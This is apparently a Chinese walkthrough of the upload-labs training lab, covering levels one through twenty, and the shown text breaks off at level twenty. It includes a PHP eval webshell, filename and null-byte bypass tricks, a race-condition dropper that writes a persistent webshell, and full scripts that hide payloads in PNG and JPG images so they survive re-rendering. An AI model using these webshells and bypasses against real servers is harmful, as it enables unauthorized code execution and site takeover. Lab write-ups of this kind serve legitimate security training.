部分题目思路借鉴来源一句话话木马基本形式

1
<?php
2
@eval($_POST['cmd']);
3
>?

第一关前端限制#

js前端限制，直接F12禁用Javascript,然后上传upload.php(一句话木马)，右键在新标签页中打开图片，蚁剑连接，成功

第二关MIME类型#

先总结一下MIME类型

类型	描述	典型示例
text	表明文件是普通文本，理论上是人类可读	text/plain, text/html, text/css, text/javascript
image	表明是某种图像。不包括视频，但是动态图（比如动态 gif）也使用 image 类型	image/gif, image/png, image/jpeg, image/bmp, image/webp, image/x-icon, image/vnd.microsoft.icon
audio	表明是某种音频文件	audio/midi, audio/mpeg, audio/webm, audio/ogg, audio/wav
video	表明是某种视频文件	video/webm, video/ogg
application	表明是某种二进制数据	application/octet-stream, application/pkcs12, application/vnd.mspowerpoint, application/xhtml+xml, application/xml, application/pdf
这个题直接上传一句话木马，会有提示：文件类型不正确，请重新上传！看源码发现MIME文件类型检测

1
if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {

对应HTTP请求中的Content-Type字段，那么抓包将Content-Type字段改为上面合法的三种之一就能过

第三关后缀#

直接上传一句话木马，显示提示：不允许上传.asp,.aspx,.php,.jsp后缀文件！很明显这是过滤我们的后缀，看眼源码

1
    if (file_exists(UPLOAD_PATH)) {
2
        $deny_ext = array('.asp','.aspx','.php','.jsp');
3
        $file_name = trim($_FILES['upload_file']['name']);
4
        $file_name = deldot($file_name);//删除文件名末尾的点
5
        $file_ext = strrchr($file_name, '.');
6
        $file_ext = strtolower($file_ext); //转换为小写
7
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
8
        $file_ext = trim($file_ext); //收尾去空

为了成功上传文件，并让服务器能够解析，修改一下apache的配置文件，这样才可以解析php3和phtml为php文件

第四关.htacess#

上传一句话木马，提示：此文件不允许上传!看源码，这一关黑名单比上关多多了

1
 $deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");

那就得用到.htaccess文件上传,.htaccess只有apache可以识别，Nginx不支持.htaccess 文件

1
.htaccess是 Apache HTTP 服务器的分布式配置文件（属于 Per-directory，即按目录生效的配置），它允许用户在不修改服务器主配置文件（httpd.conf 或 apache2.conf）的前提下，对单个目录（及子目录，默认继承配置）进行个性化配置，无需重启 Apache 服务即可生效，灵活性极高。

强制让 Apache 服务器将 ~后缀的文件当作 PHP 脚本进行解析和执行的方法

1
AddType application/x-httpd-php .~
2
AddHandler application/x-httpd-php .~

那么上传一个.htacess文件(创建个文件，然后内容按照上边来)修改解析规则，再上传一句话木马就好了

第五关.user.ini或大小写#

这个也是提示：此文件类型不允许上传！看源码

1
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");

.htacess也被禁了，可以考虑更高优先级且没被过滤的后缀.user.ini，.user.ini的优先级高于php.ini，会覆盖php.ini的配置。关键配置

1
auto_prepend_file=文件名：每个 PHP 文件执行前，自动包含（引入）指定文件；
2
auto_append_file=文件名：每个 PHP 文件执行后，自动包含指定文件。

这个题目也可以大小写绕过

第六关空格#

依旧提示：此文件不允许上传，看源码

1
$is_upload = false;
2
$msg = null;
3
if (isset($_POST['submit'])) {
4
    if (file_exists(UPLOAD_PATH)) {
5
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
6
        $file_name = $_FILES['upload_file']['name'];
7
        $file_name = deldot($file_name);//删除文件名末尾的点
8
        $file_ext = strrchr($file_name, '.');
9
        $file_ext = strtolower($file_ext); //转换为小写
10
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
11

12
        if (!in_array($file_ext, $deny_ext)) {
13
            $temp_file = $_FILES['upload_file']['tmp_name'];
14
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
15
            if (move_uploaded_file($temp_file,$img_path)) {
16
                $is_upload = true;
17
            } else {
18
                $msg = '上传出错！';
19
            }
20
        } else {
21
            $msg = '此文件不允许上传';
22
        }
23
    } else {
24
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
25
    }
26
}

这里讲一下跟上一关代码的区别

1
$file_name = $_FILES['upload_file']['name'];        //第六关(本关)
2
$file_name = trim($_FILES['upload_file']['name']);  //第五关

这一关文件名获取方式不同，少了trim，会保留首尾空格；

1
$file_ext = strtolower($file_ext); // 转小写  //第六关
2
$file_ext = trim($file_ext);  //第五关，没有转小写，所以上一关说可以大小写绕过

这一关多了strtolower，会强制转小写，所以无法大小写绕过；

1
第六关没有trim，没有去掉文件扩展名的首位空格
2
$file_ext = trim($file_ext); // 去首尾空格  //第五关

看到这里就知道怎么做了，通过首尾空格这一点 在windows环境下，系统会自动去除我们文件名后面的点和空格，但是在linux下并不会，linux环境下会保留我们文件名的特殊字符 那么我们就可以利用这一点：抓包对其文件名后面加一个空格，正好就可以绕过他的过滤数，然后windows会自动帮我们去除空格，过关

第七关点#

提示：此文件类型不允许上传！，这样的拦法表达下一关开始就不再说了。看源码可以得知，这题既避免了大小写绕过，又防了空格绕过。但是跟前面的一对比就可以发现缺少了对文件后缀使用的 deldot()函数，不会去除.,那么可以再次利用Windows的去除特性。抓包修改加个点，然后电脑会自动帮我们处理，过关

第八关字符#

这一关首位空格、大小写、点都防了，但是的但是，再跟前面对比一下可以发现缺少了

1
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA

那么攻击点就找到了，再分析一下电脑特性 在windows环境下，不光会自动去除文件末尾的点和空格，同时(::$DATA)这个字符串，windows也会认为是非法字符，默认去除掉。那么方法就有了，抓包添加字符::$DATA，过。

第九关两点#

看源代码，这次前面四关的都拦截了但是上传，代码只是会执行一次，我们抓包后给后缀多加两个点不久好了吗，想法不如行动，过关

第十关双写绕过#

看源码，跟前面更不一样了

1
$is_upload = false;
2
$msg = null;
3
if (isset($_POST['submit'])) {
4
    if (file_exists(UPLOAD_PATH)) {
5
        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");
6

7
        $file_name = trim($_FILES['upload_file']['name']);
8
        $file_name = str_ireplace($deny_ext,"", $file_name);
9
        $temp_file = $_FILES['upload_file']['tmp_name'];
10
        $img_path = UPLOAD_PATH.'/'.$file_name;
11
        if (move_uploaded_file($temp_file, $img_path)) {
12
            $is_upload = true;
13
        } else {
14
            $msg = '上传出错！';
15
        }
16
    } else {
17
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
18
    }
19
}

这一行$file_name = str_ireplace($deny_ext,"", $file_name);的str_ireplace函数将所有的危险后缀都替换为空了，欸依旧上一关思路，代码执行一次啊，所有双写绕过.pphphp，替换了一个后缀还有一个呢，ok抓包实践，成功过关

第十一关GET00截断#

提示：只允许上传.jpg|.png|.gif类型文件！继续看源码

1
$is_upload = false;
2
$msg = null;
3
if(isset($_POST['submit'])){
4
    $ext_arr = array('jpg','png','gif');
5
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
6
    if(in_array($file_ext,$ext_arr)){
7
        $temp_file = $_FILES['upload_file']['tmp_name'];
8
        $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
9

10
        if(move_uploaded_file($temp_file,$img_path)){
11
            $is_upload = true;
12
        } else {
13
            $msg = '上传出错！';
14
        }
15
    } else{
16
        $msg = "只允许上传.jpg|.png|.gif类型文件！";
17
    }
18
}

先分析一下这个典型的代码，满足三个危险条件

条件	代码体现
使用原始文件名	`$_FILES['upload_file']['name']`
字符串拼接路径	`".".$file_ext`
文件写入函数	`move_uploaded_file()`
然后讲一下这个能看出来的低版本00截断
00 截断不是 PHP 漏洞，是 PHP 调用 C 层文件系统时的历史问题

C 语言里：\0 是字符串结束符
早期 PHP（≤ 5.3.4 左右）
file_put_contents / move_uploaded_file / include
在 路径处理时遇到 \0 会提前截断 当 PHP 在处理文件名或路径时，如果遇到 URL 编码的 %00，它会被解释为一个空字节（ASCII 值为 0）。在php5.3以前，PHP 会将这个空字节转换为 \000 的形式。而恰恰在php5.3以前，文件名出现\0000,会导致文件名被截断，只保留%00之前的部分。这样的情况可能会导致文件被保存到一个意外的位置，从而产生安全风险知晓了00截断，再回去看代码

1
$file_ext = substr($_FILES['upload_file']['name'],
2
                   strrpos($_FILES['upload_file']['name'],".")+1);

第一个危险条件：扩展名判断来自客户端文件名。没做\0处理，截断点1

1
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

第二个危险条件：(1)save_path 完全可控(2)路径是字符串拼接(3)没有 realpath() / basename() / str_replace("\0")

1
move_uploaded_file($temp_file,$img_path)

第三个危险条件，也是00 截断历史重灾区函数之一 理论分析完了，现在也该开始实操了。 img_path是通过get传参(?save_path=)传递的，那么我们不妨在这块将路径改掉，改为upload/upload.php%00，那么后面不管是什么东西都会被截断掉，然后经过move_uploaded_file函数将临时文件重新复制给我们的截断之前的文件路径。上传时不要忘记三个后缀限制，传上后，抓包按照上面流程修改就好了，过关。

第十二关POST00截断#

提示：只允许上传.jpg|.png|.gif类型文件！依旧00截断代码区别点在

1
$img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

这次是POST传参，上一关的%00GET方法会经过url的编码，而这一关POST方法不会，所以在这一关我们就需要现在upload.php后面加一个占位符，将其16进制改为00，这样空字节就出现了，最后在移动文件的时候就会触发\00截断具体操作就是加个a或者其它的，然后抓包，HEX查看16进制码，找到这个占位符对应的16进制码，然后改成00，成功

第十三关图片马尾#

这一关开始涉及图片马了，看源码

1
function getReailFileType($filename){
2
    $file = fopen($filename, "rb");
3
    $bin = fread($file, 2); //只读2字节
4
    fclose($file);
5
    $strInfo = @unpack("C2chars", $bin);
6
    $typeCode = intval($strInfo['chars1'].$strInfo['chars2']);
7
    $fileType = '';
8
    switch($typeCode){
9
        case 255216:
10
            $fileType = 'jpg';
11
            break;
12
        case 13780:
13
            $fileType = 'png';
14
            break;
15
        case 7173:
16
            $fileType = 'gif';
17
            break;
18
        default:
19
            $fileType = 'unknown';
20
        }
21
        return $fileType;
22
}
23

24
$is_upload = false;
25
$msg = null;
26
if(isset($_POST['submit'])){
27
    $temp_file = $_FILES['upload_file']['tmp_name'];
28
    $file_type = getReailFileType($temp_file);
29

30
    if($file_type == 'unknown'){
31
        $msg = "文件未知，上传失败！";
32
    }else{
33
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
34
        if(move_uploaded_file($temp_file,$img_path)){
35
            $is_upload = true;
36
        } else {
37
            $msg = "上传出错！";
38
        }
39
    }
40
}

源码使用了getReailFileType()函数，它对图片的头部进行判断，图片的头部定义特定的图片类型，所以我们在制作图片马的时候不能再头部进行改动。 图片马制作 首先找一张jpg图片和一句话木马，打开cmd，输入以下代码

1
>copy a.jpg/b + b.php/a ming.jpg
2
-----------------------------------------
3
web.jpg
4
web.php
5
已复制         1 个文件。

然后上传就好了

第十四关图片马头#

上源码

1
function isImage($filename){
2
    $types = '.jpeg|.png|.gif';
3
    if(file_exists($filename)){
4
        $info = getimagesize($filename);
5
        $ext = image_type_to_extension($info[2]);
6
        if(stripos($types,$ext)){
7
            return $ext;
8
        }else{
9
            return false;
10
        }
11
    }else{
12
        return false;
13
    }
14
}
15

16
$is_upload = false;
17
$msg = null;
18
if(isset($_POST['submit'])){
19
    $temp_file = $_FILES['upload_file']['tmp_name'];
20
    $res = isImage($temp_file);
21
    if(!$res){
22
        $msg = "文件未知，上传失败！";
23
    }else{
24
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res;
25
        if(move_uploaded_file($temp_file,$img_path)){
26
            $is_upload = true;
27
        } else {
28
            $msg = "上传出错！";
29
        }
30
    }
31
}

会检测文件头是否为图片形式，但是文件头可以伪造，跟上一关一样的道理了，过关

第十五关图片马(正常图片)#

知识点 exif_imagetype()读取一个图像的第一个字节并检查其后缀名。返回值与getimage()函数返回的索引2相同，但是速度比getimage快得多。需要开启`php_exif`模块。上源码

1
function isImage($filename){
2
    //需要开启php_exif模块
3
    $image_type = exif_imagetype($filename);
4
    switch ($image_type) {
5
        case IMAGETYPE_GIF:
6
            return "gif";
7
            break;
8
        case IMAGETYPE_JPEG:
9
            return "jpg";
10
            break;
11
        case IMAGETYPE_PNG:
12
            return "png";
13
            break;
14
        default:
15
            return false;
16
            break;
17
    }
18
}
19

20
$is_upload = false;
21
$msg = null;
22
if(isset($_POST['submit'])){
23
    $temp_file = $_FILES['upload_file']['tmp_name'];
24
    $res = isImage($temp_file);
25
    if(!$res){
26
        $msg = "文件未知，上传失败！";
27
    }else{
28
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$res;
29
        if(move_uploaded_file($temp_file,$img_path)){
30
            $is_upload = true;
31
        } else {
32
            $msg = "上传出错！";
33
        }
34
    }
35
}

这一关只用文件头不行，需要用一张正常的图片，在文件末尾插入一句话木马，然后按照前面关卡的流程做就好，过关

第十六关图片马(打散+二次渲染)#

1
$is_upload = false;
2
$msg = null;
3
if (isset($_POST['submit'])){
4
    // 获得上传文件的基本信息，文件名，类型，大小，临时文件路径
5
    $filename = $_FILES['upload_file']['name'];
6
    $filetype = $_FILES['upload_file']['type'];
7
    $tmpname = $_FILES['upload_file']['tmp_name'];
8

9
    $target_path=UPLOAD_PATH.basename($filename);
10

11
    // 获得上传文件的扩展名
12
    $fileext= substr(strrchr($filename,"."),1);
13

14
    //判断文件后缀与类型，合法才进行上传操作
15
    if(($fileext == "jpg") && ($filetype=="image/jpeg")){
16
        if(move_uploaded_file($tmpname,$target_path))
17
        {
18
            //使用上传的图片生成新的图片
19
            $im = imagecreatefromjpeg($target_path);
20

21
            if($im == false){
22
                $msg = "该文件不是jpg格式的图片！";
23
                @unlink($target_path);
24
            }else{
25
                //给新图片指定文件名
26
                srand(time());
27
                $newfilename = strval(rand()).".jpg";
28
                $newimagepath = UPLOAD_PATH.$newfilename;
29
                imagejpeg($im,$newimagepath);
30
                //显示二次渲染后的图片（使用用户上传图片生成的新图片）
31
                $img_path = UPLOAD_PATH.$newfilename;
32
                @unlink($target_path);
33
                $is_upload = true;
34
            }
35
        } else {
36
            $msg = "上传出错！";
37
        }
38

39
    }else if(($fileext == "png") && ($filetype=="image/png")){
40
        if(move_uploaded_file($tmpname,$target_path))
41
        {
42
            //使用上传的图片生成新的图片
43
            $im = imagecreatefrompng($target_path);
44

45
            if($im == false){
46
                $msg = "该文件不是png格式的图片！";
47
                @unlink($target_path);
48
            }else{
49
                 //给新图片指定文件名
50
                srand(time());
51
                $newfilename = strval(rand()).".png";
52
                $newimagepath = UPLOAD_PATH.$newfilename;
53
                imagepng($im,$newimagepath);
54
                //显示二次渲染后的图片（使用用户上传图片生成的新图片）
55
                $img_path = UPLOAD_PATH.$newfilename;
56
                @unlink($target_path);
57
                $is_upload = true;
58
            }
59
        } else {
60
            $msg = "上传出错！";
61
        }
62

63
    }else if(($fileext == "gif") && ($filetype=="image/gif")){
64
        if(move_uploaded_file($tmpname,$target_path))
65
        {
66
            //使用上传的图片生成新的图片
67
            $im = imagecreatefromgif($target_path);
68
            if($im == false){
69
                $msg = "该文件不是gif格式的图片！";
70
                @unlink($target_path);
71
            }else{
72
                //给新图片指定文件名
73
                srand(time());
74
                $newfilename = strval(rand()).".gif";
75
                $newimagepath = UPLOAD_PATH.$newfilename;
76
                imagegif($im,$newimagepath);
77
                //显示二次渲染后的图片（使用用户上传图片生成的新图片）
78
                $img_path = UPLOAD_PATH.$newfilename;
79
                @unlink($target_path);
80
                $is_upload = true;
81
            }
82
        } else {
83
            $msg = "上传出错！";
84
        }
85
    }else{
86
        $msg = "只允许上传后缀为.jpg|.png|.gif的图片文件！";
87
    }
88
}

这一关使用 imagecreatefromjpeg() 函数将我们的图片打散进行二次渲染，这就会导致我们的一句话木马消失，所以我们就要想办法在他没有打散的对方将我们的一句话写进去下面三种详解可以见先知社区文章

gif格式#

先制作gif图片马，跟前面命令一样，只是将合成的图片的后缀改为gif就好然后我们进行上传，然后下载下来查看我们的图片马的一句话还在不在，并且和原图马进行比较，看看哪块没有打散，那么在没打散的地方写入一句话

png格式#

png的二次渲染的绕过并不能像gif那样简单，因为png分了好几个数据块组成，如果用上面的方法就成功不了，得用其它方法，代码

1
<?php
2
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
3
           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
4
           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
5
           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
6
           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
7
           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
8
           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
9
           0x66, 0x44, 0x50, 0x33);
10

11

12

13
$img = imagecreatetruecolor(32, 32);
14

15
for ($y = 0; $y < sizeof($p); $y += 3) {
16
   $r = $p[$y];
17
   $g = $p[$y+1];
18
   $b = $p[$y+2];
19
   $color = imagecolorallocate($img, $r, $g, $b);
20
   imagesetpixel($img, round($y / 3), 0, $color);
21
}
22

23
imagepng($img,'./1.png');
24
?>

直接运行生成一个图片马

jpg格式#

依旧代码借鉴粘贴

1
<?php
2
    /*
3
    The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
4
    It is necessary that the size and quality of the initial image are the same as those of the processed image.
5
    1) Upload an arbitrary image via secured files upload script
6
    2) Save the processed image and launch:
7
    jpg_payload.php <jpg_name.jpg>
8
    In case of successful injection you will get a specially crafted image, which should be uploaded again.
9
    Since the most straightforward injection method is used, the following problems can occur:
10
    3) After the second processing the injected data may become partially corrupted.
11
    4) The jpg_payload.php script outputs "Something's wrong".
12
    If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.
13
    Sergey Bobrov @Black2Fan.
14
    See also:
15
    https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
16
    */
17

18
    $miniPayload = "<?=phpinfo();?>";
19

20

21
    if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
22
        die('php-gd is not installed');
23
    }
24

25
    if(!isset($argv[1])) {
26
        die('php jpg_payload.php <jpg_name.jpg>');
27
    }
28

29
    set_error_handler("custom_error_handler");
30

31
    for($pad = 0; $pad < 1024; $pad++) {
32
        $nullbytePayloadSize = $pad;
33
        $dis = new DataInputStream($argv[1]);
34
        $outStream = file_get_contents($argv[1]);
35
        $extraBytes = 0;
36
        $correctImage = TRUE;
37

38
        if($dis->readShort() != 0xFFD8) {
39
            die('Incorrect SOI marker');
40
        }
41

42
        while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
43
            $marker = $dis->readByte();
44
            $size = $dis->readShort() - 2;
45
            $dis->skip($size);
46
            if($marker === 0xDA) {
47
                $startPos = $dis->seek();
48
                $outStreamTmp =
49
                    substr($outStream, 0, $startPos) .
50
                    $miniPayload .
51
                    str_repeat("\0",$nullbytePayloadSize) .
52
                    substr($outStream, $startPos);
53
                checkImage('_'.$argv[1], $outStreamTmp, TRUE);
54
                if($extraBytes !== 0) {
55
                    while((!$dis->eof())) {
56
                        if($dis->readByte() === 0xFF) {
57
                            if($dis->readByte !== 0x00) {
58
                                break;
59
                            }
60
                        }
61
                    }
62
                    $stopPos = $dis->seek() - 2;
63
                    $imageStreamSize = $stopPos - $startPos;
64
                    $outStream =
65
                        substr($outStream, 0, $startPos) .
66
                        $miniPayload .
67
                        substr(
68
                            str_repeat("\0",$nullbytePayloadSize).
69
                                substr($outStream, $startPos, $imageStreamSize),
70
                            0,
71
                            $nullbytePayloadSize+$imageStreamSize-$extraBytes) .
72
                                substr($outStream, $stopPos);
73
                } elseif($correctImage) {
74
                    $outStream = $outStreamTmp;
75
                } else {
76
                    break;
77
                }
78
                if(checkImage('payload_'.$argv[1], $outStream)) {
79
                    die('Success!');
80
                } else {
81
                    break;
82
                }
83
            }
84
        }
85
    }
86
    unlink('payload_'.$argv[1]);
87
    die('Something\'s wrong');
88

89
    function checkImage($filename, $data, $unlink = FALSE) {
90
        global $correctImage;
91
        file_put_contents($filename, $data);
92
        $correctImage = TRUE;
93
        imagecreatefromjpeg($filename);
94
        if($unlink)
95
            unlink($filename);
96
        return $correctImage;
97
    }
98

99
    function custom_error_handler($errno, $errstr, $errfile, $errline) {
100
        global $extraBytes, $correctImage;
101
        $correctImage = FALSE;
102
        if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
103
            if(isset($m[1])) {
104
                $extraBytes = (int)$m[1];
105
            }
106
        }
107
    }
108

109
    class DataInputStream {
110
        private $binData;
111
        private $order;
112
        private $size;
113

114
        public function __construct($filename, $order = false, $fromString = false) {
115
            $this->binData = '';
116
            $this->order = $order;
117
            if(!$fromString) {
118
                if(!file_exists($filename) || !is_file($filename))
119
                    die('File not exists ['.$filename.']');
120
                $this->binData = file_get_contents($filename);
121
            } else {
122
                $this->binData = $filename;
123
            }
124
            $this->size = strlen($this->binData);
125
        }
126

127
        public function seek() {
128
            return ($this->size - strlen($this->binData));
129
        }
130

131
        public function skip($skip) {
132
            $this->binData = substr($this->binData, $skip);
133
        }
134

135
        public function readByte() {
136
            if($this->eof()) {
137
                die('End Of File');
138
            }
139
            $byte = substr($this->binData, 0, 1);
140
            $this->binData = substr($this->binData, 1);
141
            return ord($byte);
142
        }
143

144
        public function readShort() {
145
            if(strlen($this->binData) < 2) {
146
                die('End Of File');
147
            }
148
            $short = substr($this->binData, 0, 2);
149
            $this->binData = substr($this->binData, 2);
150
            if($this->order) {
151
                $short = (ord($short[1]) << 8) + ord($short[0]);
152
            } else {
153
                $short = (ord($short[0]) << 8) + ord($short[1]);
154
            }
155
            return $short;
156
        }
157

158
        public function eof() {
159
            return !$this->binData||(strlen($this->binData) === 0);
160
        }
161
    }
162
?>

jpg格式的就和上面的不同了，首先先随便上传一个jpg图片，然后下载下来然后在cmd下使用这条命令

1
php text.php ming.jpg

将上传的图片和我们上面的代码文件放在一块生成新的jpg文件

这个方法有时候会因为jpg文件不能被处理而失效，所以有时候需要多尝试一些

第十七关条件竞争#

提示：只允许上传.jpg|.png|.gif类型文件！不用图片马了，看源码

1
$is_upload = false;
2
$msg = null;
3

4
if(isset($_POST['submit'])){
5
    $ext_arr = array('jpg','png','gif'); // 允许上传的文件扩展名数组
6
    $file_name = $_FILES['upload_file']['name']; // 获取上传文件的文件名
7
    $temp_file = $_FILES['upload_file']['tmp_name']; // 获取上传文件的临时文件路径
8
    $file_ext = substr($file_name,strrpos($file_name,".")+1); // 获取上传文件的扩展名
9
    $upload_file = UPLOAD_PATH . '/' . $file_name; // 上传文件的目标路径
10

11
    // 尝试移动上传文件到指定路径
12
    if(move_uploaded_file($temp_file, $upload_file)){
13
        // 如果文件成功移动到目标路径
14
        if(in_array($file_ext,$ext_arr)){
15
            // 如果上传的文件扩展名在允许的范围内
16
            $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext; // 生成新的文件名
17
            rename($upload_file, $img_path); // 重命名上传的文件为新的文件名
18
            $is_upload = true; // 设置上传标志为true
19
        }else{
20
            // 如果上传的文件扩展名不在允许的范围内
21
            $msg = "只允许上传.jpg|.png|.gif类型文件！"; // 设置错误消息
22
            unlink($upload_file); // 删除上传的文件
23
        }
24
    }else{
25
        // 如果移动上传文件失败
26
        $msg = '上传出错！'; // 设置错误消息
27
    }
28
}

分析代码，对于上传的文件会进行扩展名检测，如果在白名单中会进行重命名，如果不再就直接删除，所以上传php文件会导致我们的一句话木马直接被删这里的方法条件竞争，应用条件是抓住代码在执行的时候特别短的那个时间，抓住是还没来得及删除就可以被访问到的那个瞬间，一旦访问到该文件就会在上层目录下生成一个webshell.php的一句话文件，这样就可以保证不会被删除。可以利用burp多线程发包，然后不断在浏览器访问我们的webshell。可以将一句话木马写成

1
<?php
2
file_put_contents('../webshell.php', '<?php eval($_POST["cmd"]); ?>');
3
?>

这种形式。先上传我们的php文件，bp抓包，Send to Intruder，将重发请求数值大一些，再起一个bp程序，抓取我们访问上传的php文件，也放到bp的重发包上面。这样就一边上传，一边请求了，只要有一次访问得到，那么就会在上一级目录下创建写好的一句话木马，然后蚁剑连接就可以了，过关

第十八关条件竞争#

看源码

1
$is_upload = false;
2
$msg = null;
3
if (isset($_POST['submit']))
4
{
5
    require_once("./myupload.php");
6
    $imgFileName =time();
7
    $u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);
8
    $status_code = $u->upload(UPLOAD_PATH);
9
    switch ($status_code) {
10
        case 1:
11
            $is_upload = true;
12
            $img_path = $u->cls_upload_dir . $u->cls_file_rename_to;
13
            break;
14
        case 2:
15
            $msg = '文件已经被上传，但没有重命名。';
16
            break;
17
        case -1:
18
            $msg = '这个文件不能上传到服务器的临时文件存储目录。';
19
            break;
20
        case -2:
21
            $msg = '上传失败，上传目录不可写。';
22
            break;
23
        case -3:
24
            $msg = '上传失败，无法上传该类型文件。';
25
            break;
26
        case -4:
27
            $msg = '上传失败，上传的文件过大。';
28
            break;
29
        case -5:
30
            $msg = '上传失败，服务器已经存在相同名称文件。';
31
            break;
32
        case -6:
33
            $msg = '文件无法上传，文件不能复制到目标目录。';
34
            break;
35
        default:
36
            $msg = '未知错误！';
37
            break;
38
    }
39
}
40

41
//myupload.php
42
class MyUpload{
43
......
44
......
45
......
46
  var $cls_arr_ext_accepted = array(
47
      ".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",
48
      ".html", ".xml", ".tiff", ".jpeg", ".png" );
49

50
......
51
......
52
......
53
  /** upload()
54
   **
55
   ** Method to upload the file.
56
   ** This is the only method to call outside the class.
57
   ** @para String name of directory we upload to
58
   ** @returns void
59
  **/
60
  function upload( $dir ){
61

62
    $ret = $this->isUploadedFile();
63

64
    if( $ret != 1 ){
65
      return $this->resultUpload( $ret );
66
    }
67

68
    $ret = $this->setDir( $dir );
69
    if( $ret != 1 ){
70
      return $this->resultUpload( $ret );
71
    }
72

73
    $ret = $this->checkExtension();
74
    if( $ret != 1 ){
75
      return $this->resultUpload( $ret );
76
    }
77

78
    $ret = $this->checkSize();
79
    if( $ret != 1 ){
80
      return $this->resultUpload( $ret );
81
    }
82

83
    // if flag to check if the file exists is set to 1
84

85
    if( $this->cls_file_exists == 1 ){
86

87
      $ret = $this->checkFileExists();
88
      if( $ret != 1 ){
89
        return $this->resultUpload( $ret );
90
      }
91
    }
92

93
    // if we are here, we are ready to move the file to destination
94

95
    $ret = $this->move();
96
    if( $ret != 1 ){
97
      return $this->resultUpload( $ret );
98
    }
99

100
    // check if we need to rename the file
101

102
    if( $this->cls_rename_file == 1 ){
103
      $ret = $this->renameFile();
104
      if( $ret != 1 ){
105
        return $this->resultUpload( $ret );
106
      }
107
    }
108

109
    // if we are here, everything worked as planned :)
110

111
    return $this->resultUpload( "SUCCESS" );
112

113
  }
114
......
115
......
116
......
117
};

这一关不仅用白名单检查文件后缀，还会对文件大小以及文件是否存在进行检查，上传后依旧会进行重命名。这一关源码有些问题，需要改成

1
function setDir( $dir ){
2
    if( !is_writable( $dir ) ){
3
      return "DIRECTORY_FAILURE";
4
    } else {
5
      $this->cls_upload_dir = $dir.'/';
6
      return 1;
7
    }
8
  }

然后这个题接下来两种做法一种：用到apache解析漏洞，使用Apache的网站解析文件名时从右往左看，如果第一个后缀无法解析将会解析下一个后缀，因此可以使用双重后缀绕过，如果命名为123.php.7z 7z无法解析，就解析为php。但是文件会被重命名为时间戳和随机数组成。二种：用我们上关的php文件生成一个图片马然后就是跟上一关一样的条件竞争了，bp发包，抓包，蚁剑连接，过关

第十九关.#

Windows会自动去.，那么命名成upload.php.就行，然后蚁剑连接

第二十关数组绕过#

1
函数解释：
2
explode(a,b)函数以a为分割，把b转为数组。
3
reset()函数把数组内部指针移动到数组第一个元素，并返回值。
4
end() 把数组内部指针移动到数组最后一个元素，并返回值。
5
count()函数数组元素的数量。

看源码

1
$is_upload = false;
